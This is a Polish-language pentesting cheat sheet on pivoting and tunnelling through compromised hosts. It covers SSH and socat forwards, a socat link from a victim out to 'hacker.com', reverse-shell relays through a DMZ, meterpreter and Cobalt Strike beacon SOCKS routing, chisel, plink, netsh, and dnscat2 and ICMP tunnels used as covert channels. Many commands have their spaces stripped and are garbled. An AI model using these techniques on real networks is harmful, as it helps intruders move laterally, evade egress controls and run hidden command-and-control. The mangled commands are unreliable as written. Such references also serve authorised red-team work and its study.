ICMP i SYN skany nie mogą być tunelowane przez proxy socks, więc musimy wyłączyć odkrywanie ping (-Pn) i określić skany TCP (-sT), aby to działało.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
SSH graficzne połączenie (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Local Port2Port
Otwórz nowy port na serwerze SSH --> Inny port
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Lokalny port --> Skompromitowany host (SSH) --> Trzecia_skrzynka:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Lokalny port --> Skompromitowany host (SSH) --> Gdziekolwiek
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
To jest przydatne do uzyskiwania odwrotnych powłok z wewnętrznych hostów przez DMZ do twojego hosta:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Musisz mieć roota na obu urządzeniach (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Lokalny port --> Skompromitowany host (aktywna sesja) --> Trzecia_skrzynka:Port
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Inny sposób:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być użyty do przekierowania ruchu przez beacon.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
W tym przypadku port jest otwarty w hoście beacon, a nie w serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port
Odwrócone przekierowanie portów Beacona jest zaprojektowane do tunnelingu ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami.
Ruch jest tunnelowany w ramach ruchu C2 Beacona, w tym linków P2P.
Uprawnienia administratora nie są wymagane do tworzenia odwróconych przekierowań portów na wysokich portach.
rPort2Port lokalny
W tym przypadku port jest otwierany w hoście beacona, a nie w Serwerze Zespołu, a ruch jest wysyłany do klienta Cobalt Strike (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
Możesz obejść proxy bez uwierzytelnienia, wykonując tę linię zamiast ostatniej w konsoli ofiary:
Utwórz certyfikaty po obu stronach: Klient i Serwer
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Połącz lokalny port SSH (22) z portem 443 hosta atakującego
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
To jest jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Musisz być lokalnym administratorem (dla dowolnego portu)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Musisz mieć dostęp RDP do systemu.
Pobierz:
SocksOverRDP x64 Binaries - To narzędzie wykorzystuje Dynamic Virtual Channels (DVC) z funkcji Zdalnego Pulpitu w systemie Windows. DVC odpowiada za tunneling pakietów przez połączenie RDP.
Na swoim komputerze klienckim załaduj SocksOverRDP-Plugin.dll w ten sposób:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64> regsvr32.exeSocksOverRDP-Plugin.dll
Teraz możemy połączyć się z ofiarą za pomocą RDP używając mstsc.exe, i powinniśmy otrzymać komunikat informujący, że wtyczka SocksOverRDP jest włączona, i będzie nasłuchiwać na 127.0.0.1:1080.
Połącz się przez RDP i prześlij oraz uruchom na maszynie ofiary binarny plik SocksOverRDP-Server.exe:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Teraz potwierdź na swojej maszynie (atakującego), że port 1080 nasłuchuje:
netstat -antb | findstr 1080
Teraz możesz użyć Proxifierdo proxy ruchu przez ten port.
Proxify aplikacje GUI Windows
Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy za pomocą Proxifier.
W Profile -> Proxy Servers dodaj IP i port serwera SOCKS.
W Profile -> Proxification Rules dodaj nazwę programu do proxowania oraz połączenia do IP, które chcesz proxować.
Ominięcie proxy NTLM
Wcześniej wspomniane narzędzie: RpivotOpenVPN może również to obejść, ustawiając te opcje w pliku konfiguracyjnym:
Uwierzytelnia się w stosunku do proxy i wiąże lokalny port, który jest przekazywany do zewnętrznej usługi, którą określisz. Następnie możesz używać narzędzia według własnego wyboru przez ten port.
Na przykład, aby przekazać port 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Teraz, jeśli na przykład ustawisz na ofierze usługę SSH do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port 2222 atakującego.
Możesz również użyć meterpreter, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
Ustanawia kanał C&C przez DNS. Nie wymaga uprawnień roota.
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
W PowerShell
Możesz użyć dnscat2-powershell, aby uruchomić klienta dnscat2 w powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Zmień DNS w proxychains
Proxychains przechwytuje wywołanie gethostbyname w libc i tuneluje żądanie DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to 4.2.2.2 (wpisany na stałe). Aby go zmienić, edytuj plik: /usr/lib/proxychains3/proxyresolv i zmień adres IP. Jeśli jesteś w środowisku Windows, możesz ustawić adres IP kontrolera domeny.
Root jest potrzebny w obu systemach, aby utworzyć adaptery tun i tunelować dane między nimi za pomocą żądań echo ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrok to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.URI ekspozycji są jak:UID.ngrok.io
Instalacja
Utwórz konto: https://ngrok.com/signup
Pobierz klienta:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit